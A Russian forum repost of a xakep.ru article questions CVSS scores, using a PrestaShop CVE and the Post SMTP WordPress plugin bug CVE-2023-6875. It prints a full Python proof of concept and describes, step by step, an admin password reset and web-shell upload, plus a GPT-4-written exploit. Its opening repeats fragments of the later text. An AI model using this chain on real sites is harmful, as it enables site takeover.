D2
Администратор
- Регистрация
- 19 Фев 2025
- Сообщения
- 4,380
- Реакции
- 0
Куда мы в первую очередь смотрим, глядя на очередную CVE’шку? Правильно, на уровень угрозы, то есть оценку CVSS. Но бывает, что эта цифра плохо соответствует реальной опасности. В этой статье я на примерах покажу, как это случается, а также поговорим о других проблемах CVE.
Анализируя CVE, я сталкиваюсь с тремя основными проблемами:
Почему оценки разные? Есть два различия: в NIST указали требуемые привилегии как отсутствующие (None), в то время как сотрудники GitHub указали высокие (High); в NIST отметили область как неизменную (Unchanged), в то время как на GitHub выбрана измененная (Changed).
Графа «Требуемые привилегии» показывает, какие привилегии необходимы атакующему для эксплуатации уязвимости. Область определяет, может ли атакующий после эксплуатации уязвимости выполнить эскалацию привилегий в любой форме. Под эскалацией привилегий я подразумеваю не только переход от пользователя к администратору, но и получение более широкого доступа в системе, например от веб‑приложения к серверу.
Итак, я установил уязвимый продукт. Для доступа к функции, где существует «уязвимость», нужно быть администратором, поэтому требуемые привилегии высоки. Сама уязвимость представляет собой удаленное выполнение кода (Remote Code Execution, RCE), а не SQL-инъекцию. PrestaShop включает в себя SQL Manager, поэтому сообщать об SQL-инъекции без какой‑либо техники обхода SQL Manager некорректно.
Теперь давай глянем патч.
В патче запросы DUMPFILE и OUTFILE добавлены в черный список в файле RequestSql.php, а в Db.php появилась дополнительная проверка на то, есть ли они в запросе. Если да, то программа выдаст исключение PrestaShopDatabaseException.
Проблема здесь в том, что эти SQL-запросы обязательно должны использоваться с запросом INTO. INTO уже находится в черном списке, так что технически уязвимости нет; это просто хорошая практика. Ни один из аспектов триады CIA не нарушен, так как DUMPFILE и OUTFILE невозможно использовать. Оценка этой «уязвимости» должна быть 0.
WordPress — это популярная система управления контентом, которая позволяет создавать сайты без обладания глубокими техническими знаниями. Согласно данным W3Techs, 43,1% всех веб‑сайтов в интернете созданы на WordPress. На нем работают некоторые СМИ и правительственные сайты. Для WordPress есть масса плагинов, некоторые из них очень и очень популярны.
Post SMTP Plugin добавляет в WordPress новые возможности, связанные с отправкой электронных писем. У него 11 миллионов установок, из которых более 300 тысяч активны.
Я решил проверить, доступен ли публичный эксплоит для этой CVE, и нашел один. Его опубликовал Улисс Сайча (@UlyssesSaicha), тот же исследователь, что сообщил об уязвимости вместе с Шоном Мерфи (Sean Murphy) и опубликовал отчет в блоге Wordfence. Сам эксплоит доступен на GitHub. Вот как он выглядит:
Код: Скопировать в буфер обмена
Этот код отправляет запрос на /wp-json/post-smtp/v1/connect-app с заголовками "fcm-token": " HelloWordfence ", "device": "FakeDevice", которые устанавливают токен HelloWordfence. Затем эксплоит запрашивает имя пользователя, но независимо от ответа будет использоваться имя admin, что неверно. Потом код шлет запрос на сброс пароля, после чего сайт отправляет электронное письмо со ссылкой.
В итоге скрипт пытается получить все логи из /wp-json/post-smtp/v1/get-logs с токеном, установленным в первом запросе, а затем запрашивает идентификатор лога, который нас интересует.
Сама по себе уязвимость интересная, и большое спасибо исследователям за то, что нашли ее. Но что до эксплоита, то за исключением проблемы, когда он запрашивает имя пользователя (и при этом не использует его), кажется, что чего‑то не хватает. Чтобы понять, чего именно, мы должны задать себе вопросы: «Как стать администратором?», «Как узнать имя пользователя для сброса пароля?», «Как получить шелл?»
Когда я учился в школе, большинство вопросов на физике были о ситуации в вакууме. В кибербезопасности мы называем это средой. Даже если эксплоит идеально работает в нашей среде, это не значит, что он будет работать так же на реальных целях. Поэтому я объясню процесс, который отвечает на эти вопросы, и напишу «бум‑бум»-эксплоит при помощи ChatGPT. Я настроил WordPress и установил уязвимую версию Post SMTP 2.8.6.
В моем случае имя — tuktuk, но настоящее имя пользователя (username) — kali. Значит, эксплоит должен анализировать значение slug.
Я хочу просмотреть лог, в котором есть ссылка на сброс пароля, — номер 154.
Когда я открываю URL сброса пароля, он дает мне куку wp-resetpass-md5(URL)=:key, в моем случае она выглядит так:
Код: Скопировать в буфер обмена
Здесь 86a9106ae65537651a8e456835b316ab — это хеш MD5 от адреса http://localhost/, а GJbWFvh1nOj8GFg643x9 — ключ на сброс пароля из ссылки. Эти данные нам особо не нужны, так как наш скрипт будет парсить куки, но все же хорошо знать, что за хеш.
При сбросе пароля должны присутствовать и куки, и ключ.
В нашем запросе есть nonce, referer, имя файла и содержимое.
Очевидно, наш файл — это не плагин, поэтому он будет сохранен в директории /wp-content/upgrade/1.
Теперь у нас есть шелл.
Вот что делает этот эксплоит:
Источник xakep.ru
Автор @az_AZ
Что такое CVE?
CVE (Common Vulnerabilities and Exposures, «известные уязвимости и риски») — это стандартизированный и общедоступный словарь уязвимостей в ПО и железе. Заведует им Национальный институт стандартов и технологий (NIST) в Соединенных Штатах. Основная цель CVE — предоставить общий язык, на котором можно было бы обсуждать уязвимости и работать с ними в программах. CVE используется во всем мире и делает взаимодействие между ИБ‑специалистами, поставщиками и исследователями более эффективным.Что такое CVSS?
CVSS (Common Vulnerability Scoring System, «система оценки уязвимостей») — еще один важный инструмент. Он разработан форумом групп реагирования на инциденты и безопасности (FIRST) в сотрудничестве с NIST. CVSS — это стандартизированный метод оценки, в рамках которого уязвимости можно назначить числовой балл, означающий степень угрозы.Основные факторы CVSS
Базовый балл основан на фундаментальных атрибутах уязвимости, которые не меняются со временем. Вот главные метрики, которые при этом берутся в расчет:- вектор атаки (Attack Vector, AV);
- сложность атаки (Attack Complexity, AC);
- требуемые привилегии (Privileges Required, PR);
- взаимодействие с пользователем (User Interaction, UI);
- область (Scope, S);
- метрики воздействия:
- влияние на конфиденциальность (Confidentiality Impact, C),
- влияние на целостность (Integrity Impact, I),
- влияние на доступность (Availability Impact, A).
Анализируя CVE, я сталкиваюсь с тремя основными проблемами:
- CVE без эксплоитов;
- CVE с неработающими эксплоитами;
- завышенная оценка.
CVE-2023-39526: «уязвимость» в PrestaShop
Хороший пример первой и третьей проблемы — это CVE-2023-39526, уязвимость в веб‑приложении PrestaShop. Мы видим две оценки: NIST дал оценку 9.8, в то время как GitHub — 9.1.Почему оценки разные? Есть два различия: в NIST указали требуемые привилегии как отсутствующие (None), в то время как сотрудники GitHub указали высокие (High); в NIST отметили область как неизменную (Unchanged), в то время как на GitHub выбрана измененная (Changed).
Графа «Требуемые привилегии» показывает, какие привилегии необходимы атакующему для эксплуатации уязвимости. Область определяет, может ли атакующий после эксплуатации уязвимости выполнить эскалацию привилегий в любой форме. Под эскалацией привилегий я подразумеваю не только переход от пользователя к администратору, но и получение более широкого доступа в системе, например от веб‑приложения к серверу.
Итак, я установил уязвимый продукт. Для доступа к функции, где существует «уязвимость», нужно быть администратором, поэтому требуемые привилегии высоки. Сама уязвимость представляет собой удаленное выполнение кода (Remote Code Execution, RCE), а не SQL-инъекцию. PrestaShop включает в себя SQL Manager, поэтому сообщать об SQL-инъекции без какой‑либо техники обхода SQL Manager некорректно.

Теперь давай глянем патч.

В патче запросы DUMPFILE и OUTFILE добавлены в черный список в файле RequestSql.php, а в Db.php появилась дополнительная проверка на то, есть ли они в запросе. Если да, то программа выдаст исключение PrestaShopDatabaseException.
Проблема здесь в том, что эти SQL-запросы обязательно должны использоваться с запросом INTO. INTO уже находится в черном списке, так что технически уязвимости нет; это просто хорошая практика. Ни один из аспектов триады CIA не нарушен, так как DUMPFILE и OUTFILE невозможно использовать. Оценка этой «уязвимости» должна быть 0.
CVE-2023-6875: баг в Post SMTP Mailer
Недавно я наткнулся на занимательную, на мой взгляд, новость: «150 000 сайтов на WordPress в опасности из‑за багов в плагине Post SMTP Mailer». Но в реальности эта уязвимость не эксплуатируется, так как публичный эксплоит кривой.WordPress — это популярная система управления контентом, которая позволяет создавать сайты без обладания глубокими техническими знаниями. Согласно данным W3Techs, 43,1% всех веб‑сайтов в интернете созданы на WordPress. На нем работают некоторые СМИ и правительственные сайты. Для WordPress есть масса плагинов, некоторые из них очень и очень популярны.
Post SMTP Plugin добавляет в WordPress новые возможности, связанные с отправкой электронных писем. У него 11 миллионов установок, из которых более 300 тысяч активны.
Я решил проверить, доступен ли публичный эксплоит для этой CVE, и нашел один. Его опубликовал Улисс Сайча (@UlyssesSaicha), тот же исследователь, что сообщил об уязвимости вместе с Шоном Мерфи (Sean Murphy) и опубликовал отчет в блоге Wordfence. Сам эксплоит доступен на GitHub. Вот как он выглядит:
Код: Скопировать в буфер обмена
Код:
import requests
url = "http://localhost:10115" # Change this
# set fcm token
print("Setting the FCM Token")
request_url = f"{url}/wp-json/post-smtp/v1/connect-app"
request_headers = {"Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.199 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding": "gzip, deflate, br", "Connection": "close", "fcm-token": "HelloWordfence", "device": "FakeDevice", "Content-Type": "application/x-www-form-urlencoded"}
requests.post(request_url, headers=request_headers)
# password reset
user_login = input("Username for password reset: ")
print("Attempting password reset")
request_url = f"{url}/wp-login.php?action=lostpassword"
request_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": f"{url}", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.199 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer": f"{url}/wp-login.php?action=lostpassword", "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
request_data = {"user_login": "admin", "redirect_to": '', "wp-submit": "Get New Password"}
requests.post(request_url, headers=request_headers, data=request_data)
# get logs array
print("Getting all email logs")
request_url = f"{url}/wp-json/post-smtp/v1/get-logs"
request_headers = {"Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.199 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding": "gzip, deflate, br", "Connection": "close", "fcm-token": "HelloWordfence", "device": "FakeDevice"}
r = requests.get(request_url, headers=request_headers)
r = r.json()
print("Email logs: ")
for log in r["data"]:
print(f"Id: {log['id']}, Subject: {log['original_subject']}, Recipient: {log['to_header']}")
email_id = input("Select an email ID to view: ") # Ask to select as there may be other emails on the same testing environment
# see email data
request_url = f"{url}/wp-admin/admin.php?access_token=HelloWordfence&type=log&log_id={email_id}"
request_headers = {"Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.199 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding": "gzip, deflate, br", "Connection": "close", "fcm-token": "HelloWordfence", "device": "FakeDevice"}
r = requests.get(request_url, headers=request_headers)
print(r.text)
В итоге скрипт пытается получить все логи из /wp-json/post-smtp/v1/get-logs с токеном, установленным в первом запросе, а затем запрашивает идентификатор лога, который нас интересует.
Сама по себе уязвимость интересная, и большое спасибо исследователям за то, что нашли ее. Но что до эксплоита, то за исключением проблемы, когда он запрашивает имя пользователя (и при этом не использует его), кажется, что чего‑то не хватает. Чтобы понять, чего именно, мы должны задать себе вопросы: «Как стать администратором?», «Как узнать имя пользователя для сброса пароля?», «Как получить шелл?»
Когда я учился в школе, большинство вопросов на физике были о ситуации в вакууме. В кибербезопасности мы называем это средой. Даже если эксплоит идеально работает в нашей среде, это не значит, что он будет работать так же на реальных целях. Поэтому я объясню процесс, который отвечает на эти вопросы, и напишу «бум‑бум»-эксплоит при помощи ChatGPT. Я настроил WordPress и установил уязвимую версию Post SMTP 2.8.6.
Какое имя пользователя у администратора?
Логично предположить, что администратором должен быть первый зарегистрированный пользователь, поэтому, если мы отправим запрос на /wp-json/wp/v2/users/1, мы должны увидеть имя пользователя администратора. В некоторых случаях доступ к JSON-интерфейсу невозможен, и иногда это не первый пользователь. Если нет доступа к JSON API, наш эксплоит должен использовать имя пользователя admin.
В моем случае имя — tuktuk, но настоящее имя пользователя (username) — kali. Значит, эксплоит должен анализировать значение slug.
Забыли пароль
Я не настроил SMTP в своей тестовой среде, поэтому, когда мы сбрасываем пароль с именем пользователя, электронное письмо не отправляется, но лог неотправленного письма сохраняется. В логе есть информация о том, кто отправил электронное письмо, кому оно отправилось или не отправилось, дата и содержание электронного письма. Внутри письма — ссылка на сброс пароля.
Логи электронной почты
Я отправил запросы на установку нового токена, получение логов и вывод последнего лога, который содержит ссылку на сброс пароля.

Я хочу просмотреть лог, в котором есть ссылка на сброс пароля, — номер 154.

Изменение пароля
Я отправил запрос на сброс пароля еще несколько раз, и теперь я смотрю лог номер 158.
Когда я открываю URL сброса пароля, он дает мне куку wp-resetpass-md5(URL)=:key, в моем случае она выглядит так:
Код: Скопировать в буфер обмена
wp-resetpass-86a9106ae65537651a8e456835b316ab=kali:GJbWFvh1nOj8GFg643x9
Здесь 86a9106ae65537651a8e456835b316ab — это хеш MD5 от адреса http://localhost/, а GJbWFvh1nOj8GFg643x9 — ключ на сброс пароля из ссылки. Эти данные нам особо не нужны, так как наш скрипт будет парсить куки, но все же хорошо знать, что за хеш.

При сбросе пароля должны присутствовать и куки, и ключ.

Загрузка шелла
Теперь все, что нам нужно сделать, — это войти в систему и загрузить zip-файл, содержащий шелл. В моем случае это файл 1.zip.
В нашем запросе есть nonce, referer, имя файла и содержимое.

Очевидно, наш файл — это не плагин, поэтому он будет сохранен в директории /wp-content/upgrade/1.

Теперь у нас есть шелл.

БУМ-БУМ-ЭКСПЛОИТ С GPT
Я не разработчик и не разбираюсь в программировании, но это не значит, что я не могу читать по‑английски и отлаживать ошибки. Эксплоит написан на Go с помощью GPT-4.
Вот что делает этот эксплоит:
- Устанавливает токен, который позволяет видеть почты.
- Находит юзернейм админа, если не может найти, то ставит «админ» как дефолт.
- Просит ссылку для сброса пароля, тогда письмо со ссылкой идет админу.
- Берет токен, который поставил в первом пункте, и смотрит логи почты.
- Берет самый последний лог, в котором ссылка для сброса пароля.
- Сбрасывает пароль через ссылку, полученную в пятом пункте.
- Входит как админ.
- Заливает шелл (файл shell.zip, внутри которого шелл).
ВЫВОДЫ
Итак, мы разобрали два случая, когда наличие CVE еще не значит, что баг можно брать и эксплуатировать. В первом случае эксплуатация невозможна в принципе, поскольку баг — пустышка. Во втором баг оказался интересным, но отсутствовал работающий эксплоит. Я показал, как, поняв принцип уязвимости, можно написать свой эксплоит, причем программирование вполне реально целиком сгрузить на искусственный интеллект.Источник xakep.ru
Автор @az_AZ